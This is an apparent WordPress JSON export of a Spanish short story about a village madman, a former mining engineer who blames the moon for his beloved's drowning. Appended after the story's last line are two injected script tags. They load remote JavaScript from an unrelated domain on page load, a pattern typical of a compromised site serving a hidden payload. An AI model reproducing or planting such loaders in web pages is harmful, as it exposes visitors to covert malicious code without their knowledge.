{"id":79,"date":"2014-10-19T23:25:51","date_gmt":"2014-10-20T04:25:51","guid":{"rendered":"http:\/\/lapulguia.mx\/wp\/?p=79"},"modified":"2025-10-21T07:48:25","modified_gmt":"2025-10-21T13:48:25","slug":"el-loco-de-mi-pueblo","status":"publish","type":"post","link":"https:\/\/lapulguia.mx\/wp\/?p=79","title":{"rendered":"EL LOCO DE MI PUEBLO"},"content":{"rendered":"<p>De \u00c1ngeles, Locos\u2026y algo parecido<\/p>\n<p>Por Ramiro Flores Morales<\/p>\n<p>&nbsp;<\/p>\n<p>La gente le llama loco, y lo se\u00f1alan. Camina con un aire sin igual. Avanza lentamente, arrastrando los agrietados y sucios pies descalzos. Todo desgarabado. Su vestimenta, en vez de un pantal\u00f3n emplea dos, se sobrepone uno en otro, que lo cambia hasta que el uso y la suciedad los deshace, sobresaliendo uno del otro; amarrados con un delgado mecate de ixtle a manera de cinto. El lacio cabello, por el que nunca m\u00e1s ha pasado un peine, a pesar de lo sucio y enmara\u00f1ado da indicios que hace varios lustros debi\u00f3 de haber sido de color rubio; de igual manera sucede con su dispareja barba por la que las navajas de afeitar huyeron para siempre. De ese enredo de hilos de cabello resaltan las espesas cejas que sirven para enmarcar unos tristes ojos en los que el celeste del cielo de estas tierras qued\u00f3 impreso en ellos; ojos escondidos en unas profundas \u00f3rbitas y que al contemplarlos denotan una infinita tristeza, que quien los ve se contagia. Ojos sin brillo, inexpresivos, desolados; no hay en ellos nada; es la mirada de un hombre en agon\u00eda que mira sin ver, que se va hundiendo en la inconsciencia de no ser.<\/p>\n<p>Sus p\u00f3mulos sobresalientes sombrean unas mejillas hundidas que definen a una bien formada nariz; los brazos muy escurridizos, sin m\u00fasculo alguno; de pecho flaco y seco, las manos tambi\u00e9n huesudas y llenas de redondos nudillos.<\/p>\n<p>En fin, es una figura muy singular y conocida de nuestro pueblo, donde seg\u00fan cuentan los viejos, esos que guardan la memoria de la comunidad, de que en cada \u00e9poca, de vez en vez, aparece alguna persona privada de sus facultades mentales; as\u00ed anduvieron por ac\u00e1: Chuy, Foro, Abelina, Jasso, Lupe y otros m\u00e1s que tan pronto uno desaparece, otro hace su aparici\u00f3n. Total nunca ha faltado el loquito del pueblo, y hoy es el tiempo del Inge Arturo, quien anda con su mirada ida. Murmurando mil cosas. Hablando para s\u00ed. Su mente vive en un mundo lejano, en una dimensi\u00f3n en la cual se qued\u00f3 atrapado.<\/p>\n<p>Con las toscas y ajadas manos roba del jard\u00edn municipal una flor. La acaricia, la huele y la besa; husmea como un can de desde\u00f1oso andar; se pasea con ella por todos lados. El pueblo entero lo conoce. Los ni\u00f1os le tienen miedo, es mas, las mam\u00e1s para calmar a sus inquietos hijos sentencian: \u00a1 Te voy a llevar con el loco! Por lo contrario la muchachada ya le perdi\u00f3 el temor, y hoy, en ocasiones se burlan del \u201clun\u00e1tico\u201d como ellos lo llaman, lanz\u00e1ndole burlones comentarios. En cambio, la gente mayor le guardamos respeto, y a veces, cuando se cree que necesita alimentos y medicina alguien se conmueve y se los ofrece.<\/p>\n<p>Nuestro \u201cloquito\u201d siempre ha mantenido una actitud serena y pasiva, no agrede a nadie; se la pasa construyendo su propio mundo mental; deambula por las calles sin importarle nada, \u00fanicamente arrastra unos lastimosos recuerdos que con su presencia y con s\u00f3lo verlo se trae al presente esta triste historia. Es una p\u00e1gina escrita en la vida de esta comunidad y parece que nunca se va a olvidar.<\/p>\n<p>Hoy constituye toda una leyenda. Y \u00e9l, el actor de una tragedia que es la sombra de un hombre que ya es su sombra.<\/p>\n<p>En los rojizos atardeceres de crep\u00fasculos calientes que parece desollar a las fugitivas nubes que aceleran su ocaso, el \u201cInge Arturo\u201d se detiene para escuchar el canto de los sonoros p\u00e1jaros, que bulliciosamente revolotean en las verdes copas de los \u00e1rboles de la plaza municipal que fueron escogidos para pernoctar; a ellos habla, les grita pidi\u00e9ndoles que canten m\u00e1s. Los p\u00e1jaros parecen hacerle caso, ya que arrecian su cantar y algarab\u00eda.<\/p>\n<p>Los caminantes lo ven, se r\u00eden, algunos le gritan y otros obligatoriamente piensan:<\/p>\n<p>-Loco-pobre loco<\/p>\n<p>La personalidad de este vagabundo en los d\u00edas de plenilunio se trastorna m\u00e1s, de ah\u00ed la justificaci\u00f3n de que tambi\u00e9n le llamen \u201clun\u00e1tico\u201d, y que la perturbaci\u00f3n mental que sufre recrudezca y aflore, pareciendo que esos trozos de luz plateada se introdujeran en sus oscuras cuencas de ojos tristes, reflej\u00e1ndose para ba\u00f1ar su alma, causando un mensual efecto de embriaguez que le produce la luna llena.<\/p>\n<p>En esas brillantes noches, cuando la luna engorda con bello resplandor; pl\u00e1cida y m\u00edstica, haciendo que la iluminaci\u00f3n de los rayos que arroja, motive a que escape la sombra del anochecer, asom\u00e1ndose para alumbrar la \u201ccasa\u201d del loco- una fresca banca de la plaza-. Cuando la penumbra desaparece con la claridad, este personaje vuelve a vivir el motivo que ocasion\u00f3 su estado actual.<\/p>\n<p>Le habla al blanco astro, se pone a contarle su historia, que para la mayor\u00eda de la gente es indescifrable, historia que \u00e9l vivi\u00f3 y los recuerdos le resucitan autom\u00e1ticamente, atorment\u00e1ndole el alma y apoder\u00e1ndose de su conciencia. Repentinamente corre y grita a la vez que la persigue.<\/p>\n<p>-\u00bfPor qu\u00e9?, si a ella le dije que hasta que t\u00fa te apagaras la dejar\u00eda de amar. Que cuando tus rayos de plata ya no alumbraran, ese mismo d\u00eda la arrancar\u00eda de mi coraz\u00f3n. Que mi amor era muy grande y como prueba de ello, t\u00fa ser\u00edas el mayor de los regalos para ella. \u00a1Luna mala! \u00a1Luna gorda!<\/p>\n<p>Sus ojos se fijan en la indiferente luna, y con sus escasas fuerzas le vuelve a gritar:<\/p>\n<p>-\u00a1Regr\u00e9samela! \u00a1T\u00fa te la llevaste!<\/p>\n<p>Despu\u00e9s se calma, y m\u00e1s sereno, murmura para s\u00ed lastimosamente:<\/p>\n<p>-\u00a1Ay!&#8230; aquella noche, una vez que el sol se durmi\u00f3, nos fuimos al r\u00edo siguiendo la larga vereda, compartiendo la dulzura inefable del \u00e9xtasis, y solo nosotros y las centellantes luci\u00e9rnagas, los asustadizos y saltarines sapos que dejaron de croar, hasta los grillos interrumpieron su arrullador canto, todos fueron testigos de nuestro amor. Ella desnuda, proyectando una imagen coronada de estrellas que la misma Venus la envidi\u00f3. De repente se meti\u00f3 a nadar para pescarte, porque dec\u00eda que esa luna ser\u00eda para m\u00ed. \u00a1Cu\u00e1nto me amaba!<\/p>\n<p>Grita en silencio. Gime. Hace desarticulados ademanes. Y contin\u00faa con sus perennes recuerdos y quejumbroso di\u00e1logo sostenido con el indiferente astro que parece tener verg\u00fcenza y acelera su tr\u00e1nsito por el firmamento.<\/p>\n<p>-Esa noche, luna mala, apareciste serena sobre las verdes aguas, muy quietecita estabas en el manso r\u00edo. Flotabas, m\u00e1s grande que nunca, te mec\u00edas lentamente. Ella \u00e1gil y alegre, jugaba para atraparte y hacer de ti el mayor de los regalos para m\u00ed.<\/p>\n<p>En un instante hace una nueva pausa, se calla. Respira agitado. Intempestivamente grita:<\/p>\n<p>-\u00a1Luna mala nunca te dejaste agarrar!. Sus desnudos pechos y brazos quer\u00edan abrazarte. Brincabas y te escond\u00edas. Ella re\u00eda y te buscaba en las gotas salpicadas con mil lunas\u2026! Luna mala! \u00a1Luna gorda! Ella saltaba, se zambull\u00eda, y t\u00fa toda arrugada y quebrada flotabas. De repente te pesc\u00f3 desde abajo, t\u00fa tambi\u00e9n la agarraste y no la soltaste. \u00a1Luna mala!, mi amada en el fondo se qued\u00f3. En cambio tu saliste mas grandota, m\u00e1s gorda y m\u00e1s sonriente. Ella no apareci\u00f3. Te la comiste. \u00a1Maldita luna gorda !.<\/p>\n<p>Arturo, brincando y queriendo atrapar a la clara luna que alumbra el cielo, manotea y exclama con un lastimoso reclamo:<\/p>\n<p>-\u00a1Luna mala! \u00a1Luna gorda! \u00a1Deja que te pesque y ver\u00e1s!<\/p>\n<p>Se vuelve a tranquilizar. Sus claros ojos est\u00e1n inundados de recuerdos, rabia y desesperaci\u00f3n. Sigue caminando sin perder la mirada hacia la luna que tambi\u00e9n se mueve, como si entendiera el coraje y pesar de ese humano que incre\u00edblemente no le cantara ni declamara y menos, apreciara su diamantina belleza, al contrario parece huirle.<\/p>\n<p>Y sigue con su mensual di\u00e1logo:<\/p>\n<p>-Es m\u00e1s, estoy seguro que te dio pena tu maldad, porque despu\u00e9s te empezaste a poner negra, poco a poco, todo se hizo oscuro al igual que mi mina de carb\u00f3n. Todo se enlut\u00f3; y yo te gritaba y gritaba que no te apagaras, que a ella la amaba hasta la locura. Nunca me hiciste caso. Despu\u00e9s ya no supe nada.<\/p>\n<p>Se calma moment\u00e1neamente y de repente vuelve con su reclamo.<\/p>\n<p>-\u00a1Luna mala!, te la llevaste.<\/p>\n<p>Unos muchachos que pasan por ah\u00ed lo miran, se r\u00eden burlonamente y le gritan:<\/p>\n<p>-\u00a1Ya mero la pescas!<\/p>\n<p>-\u00a1Un poquito m\u00e1s!<\/p>\n<p>-\u00a1Ah\u00ed la llevas!<\/p>\n<p>El los ignora, pues se encuentra en plena discusi\u00f3n con la plateada y redonda luna, correteando por la plaza, sigui\u00e9ndola y grit\u00e1ndole. El p\u00e1lido astro le huye, se va alejando del pueblo.<\/p>\n<p>-Mira pap\u00e1, el loco hoy se trastorn\u00f3 m\u00e1s que nunca \u2013 una jovencita que camina por ese lugar en compa\u00f1\u00eda de su padre le se\u00f1ala la actuaci\u00f3n del Inge.<\/p>\n<p>-Si mija, ya lo s\u00e9, pero no te burles, porque si supieras la verdadera historia de su trastorno, en lugar de re\u00edrte te aseguro que lo comprender\u00edas y hasta llorar\u00edas por los motivos de su enfermedad.<\/p>\n<p>-\u00bfDe verdad?- intrigada y demostrando gran curiosidad le dice: -cu\u00e9ntame que pas\u00f3-.<\/p>\n<p>-Mira nuestro pueblo fue escenario de una verdadera historia de amor; de esas que solo cre\u00eda ser posible en novelas y pel\u00edculas. Todo empez\u00f3 hace ya tiempo, antes de que nacieras, cuando lleg\u00f3 a estas tierras un ingeniero para trabajar en las minas de carb\u00f3n, ese era Arturo, el \u201cloquito\u201d. Seg\u00fan se cuenta que un d\u00eda como cualquier otro, bast\u00f3 s\u00f3lo una fracci\u00f3n del infinito tiempo para que conociera a Rosa, joven poseedora de serena belleza; adornada de una eterna alegr\u00eda, blanca de color, con la blancura mate de los orgullosos lirios, de mejillas como los arom\u00e1ticos rosales norte\u00f1os; negro m\u00e1s que las piedras de las entra\u00f1as de esta tierra era su pelo abundo, suave, ensortijado; y oscur\u00edsimos los ojos enormes, de esos que proyectan tristeza y alegr\u00eda a la vez; de gruesas y bien trazadas cejas oscuras; rizadas y largas pesta\u00f1as; tersa y amplia la frente, fin\u00edsima la risue\u00f1a boca peque\u00f1a y expresiva; esbelto y gallardo talle juvenil. Total era toda una belleza, y bien que me acuerdo de ella.<\/p>\n<p>-\u00a1Epale, papa! \u00bfAs\u00ed tan bonita era?<\/p>\n<p>-Si, y desde el mismo instante en que las miradas de ellos se cruzaron, sus sentimientos quedaron marcados para siempre, as\u00ed se enamoraron. Eran una pareja envidiablemente rom\u00e1ntica. Para ellos nada ni nadie exist\u00eda, \u00fanicamente su amor, la raz\u00f3n de su existencia. La verdad, ahora que lo pienso, creo que ese romance no pertenec\u00eda a este mundo ni a este tiempo, imag\u00ednate a Romeo y Julieta; era como si en ellos hubiera reencarnado un bello amor de esas parejas id\u00edlicas del que nos hablan las novelas rom\u00e1nticas. Y en un lugar chico como es el nuestro, por todos lados comentaban ese inusual noviazgo, y eran objeto de todo tipo de comentarios, algunos positivos, otros negativos; bastantes fueron originados por la envidia. Pero a ellos nada les importaba ni afectaba su relaci\u00f3n. Viv\u00edan plenamente su sentimiento, forjado y destinado desde siempre.<\/p>\n<p>-Que bonito, s\u00edguele, s\u00edguele.- La jovencita entusiasmada y sorprendida prestaba atenci\u00f3n de m\u00e1s.<\/p>\n<p>-Pero, \u201cnada bueno dura ni es para siempre\u201d, as\u00ed me dec\u00eda mi abuelo. Ser\u00eda por el \u201cmal de ojo\u201d o por tanta acumulaci\u00f3n de envidias o por el mismo caprichoso destino que los uni\u00f3, tambi\u00e9n los separar\u00eda, as\u00ed la tragedia se hizo presente en la prometedora vida de estos j\u00f3venes. Como si hubieran desatado un maleficio, un conjuro lanzado contra ellos desde los or\u00edgenes de los siglos, y esa tr\u00e1gica noche estuviese conjunt\u00e1ndose el tiempo y los astros para que se hiciera realidad y desatar alguna negra maldici\u00f3n.<\/p>\n<p>-Que feo, yo no cre\u00eda en nada de ello. Y \u00bfqu\u00e9 pas\u00f3?<\/p>\n<p>-Todo ocurri\u00f3 en una veraniega noche, las aguas mansas de este aparentemente tranquilo R\u00edo de aguas esmeraldinas se la arranc\u00f3 y llev\u00f3 para siempre, junto con el coraz\u00f3n y la cordura del desconsolado novio. A\u00fan peor, esa misma noche hubo un eclipse total. La luna se apag\u00f3. Los perros se alborotaron y todos aullaron lastimosamente. Fue una noche que nadie hemos podido olvidar y menos cuando vemos al <em>Inge Arturo<\/em> en el estado en que se encuentra; haciendo que volvamos a vivir aquella oscura noche. La autoridad lo apres\u00f3, pero dado el lamentable estado mental en que se encontraba, y al comprobar su inocencia, de que esa amarga experiencia fue un tr\u00e1gico accidente. Despu\u00e9s de varios meses de permanecer en la c\u00e1rcel, se le absolvi\u00f3 y liber\u00f3.<\/p>\n<p>-\u00a1Pobrecito! Que triste fue lo que le sucedi\u00f3. Con raz\u00f3n enloqueci\u00f3.<\/p>\n<p>-Si as\u00ed es. Ni el trabajo, tampoco la juventud, ni el tiempo pudieron sanar su dolor y mucho menos olvidarla. Jam\u00e1s se recuper\u00f3, al contrario el problema se acentu\u00f3. El silencio tampoco acompa\u00f1\u00f3 a su cuerpo y esp\u00edritu, ya que nunca m\u00e1s se call\u00f3 brot\u00e1ndole voces, que en voz baja y a veces a gritos siempre habla despierto y dormido, tanto a su conciencia como a la luna. D\u00eda tras d\u00eda acud\u00eda al cementerio, y all\u00e1 pasaba horas habl\u00e1ndole a la fr\u00eda l\u00e1pida que apresa su tierno amor. Abandonado y olvidado por los suyos, y peor a\u00fan, se marchit\u00f3 en vida, y por mas que la polic\u00eda lo llevaba a otros pueblos para alejarlo de estas tierras, m\u00e1s tardaban en dejarlo que \u00e9l en regresarse. No quer\u00eda separarse de este lugar. Y por m\u00e1s que se empe\u00f1\u00f3 el calendario nunca pudo olvidarla. Pronto se convirti\u00f3 en el vagabundo del pueblo. Esa es la historia del pobre hombre al que le llamas loco.<\/p>\n<p>-\u00a1Ay, papa! Que historia tan triste \u00a1pobre de \u00e9l! Ahora lo comprendo.<\/p>\n<p>-Ya te lo dije, que los motivos de su locura iban a conmoverte. As\u00ed que no te burles de ese sufrido hombre, y cu\u00e9ntales a tus amigas esta historia para que la conozcan y aprendan a respetar a nuestro loquito.<\/p>\n<p>Mientras tanto el <em>Inge Arturo, <\/em>all\u00e1 en la plaza, cansado de tanto saltar, recuesta su gui\u00f1apiento y melancolico cuerpo en la banca, viendo a la redonda luna que pronto huye y se aleja.<\/p>\n<p>De nueva cuenta lo derrot\u00f3. No logr\u00f3 alcanzarla.<\/p>\n<p>Arropado con la flor, entre los suspiros y recuerdos de aquella lejana y desventurada noche cuando con su amor fueron al r\u00edo para cazar a esa escurridiza luna como prueba de amor eterno, y c\u00f3mo las traicioneras aguas la arrancaron de su lado; ya medio dormido, con profundas y lastimosas im\u00e1genes de aquella inolvidable pesadilla que el destino les jug\u00f3, murmura para si:<\/p>\n<p>-\u00a1Luna mala! \u00a1Luna gorda! Regr\u00e9samela ya.<\/p>\n<p>La noche avanza con lobreguez, y en lo alto, mientras se encienden las incansables estrellas, hundi\u00e9ndose, a\u00fan m\u00e1s, en el bello oc\u00e9ano de sus recuerdos compartidos con su amada doncella.<\/p>\n<p>Y en esos anocheceres de luna llena, como apiad\u00e1ndose de \u00e9l, el brillante astro le env\u00eda un fugaz rayo plateado que se refleja en las l\u00e1grimas que t\u00edmidamente asoman y caen limpiando su cara; que suave y lenta resbalan, acarici\u00e1ndole, y tiernamente parecen besarle y decirle:<\/p>\n<p>-\u00a1No me olvides!<\/p>\n<p>Y despu\u00e9s de un profundo suspiro, como si aspirara ese pensamiento y lo introdujera en lo m\u00e1s rec\u00f3ndito de su agobiada alma, se queda dormido. Invadi\u00e9ndolo un silencio total, de tranquilidad pasmosa.<\/p>\n<p>Yo que conozco esta historia y hoy la recuerdo, historia de un amor imposible, donde el destino de una manera cruel jug\u00f3 con ellos, por ello no me atrevo a burlarme ni juzgarlo; al contrario cada vez que lo veo , siento un profundo dolor que ahoga mi garganta, su coraje tambi\u00e9n me contagia e invade, haciendo que inconscientemente lo acompa\u00f1e y solidarice con \u00e9l, y haga m\u00edo su dolor; y con el coraz\u00f3n oprimido y la garganta atravesada por un pu\u00f1al de sollozos, volvi\u00e9ndome tambi\u00e9n loco, lleno de rabia, mentalmente, al igual que \u00e9l grite:<\/p>\n<p>-\u00a1Luna, Luna mala!<\/p>\n<p>-\u00a1Luna gorda, ya ll\u00e9vatelo con su amor!-<\/p>\n<p>-\u00a1Devu\u00e9lvele la cordura! \u00a1Devu\u00e9lvele su amor!<\/p>\n<p>El brillante astro sigue indiferente, y da la impresi\u00f3n de que la intensidad de sus rayos se incrementan, trasminando los paisajes iluminando plenamente al pueblo que ya se apresta a dormir, al r\u00edo de verdes y aparentes aguas apacibles y traicioneras; pero en especial a una blanca l\u00e1pida del pante\u00f3n, que las noches de luna llena, resplandece, distingui\u00e9ndose entre todas las tumbas del camposanto, es la Rosa; y sobre la jardinera, que siempre tiene una flor, la que a diario le lleva su eterno amante; en esa jardinera en cuya agua se refleja mensualmente, y al quedarse por un momento grabada su brillante imagen, desde el interior parece escucharse:<\/p>\n<p>-\u00a1Te atrap\u00e9!&#8230;!Luna Gorda!.. \u00a1Luna m\u00eda! \u00a1Luna para mi amor!.<\/p>\n<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>De \u00c1ngeles, Locos\u2026y algo parecido Por Ramiro Flores Morales &nbsp; La gente le llama loco, y lo se\u00f1alan. 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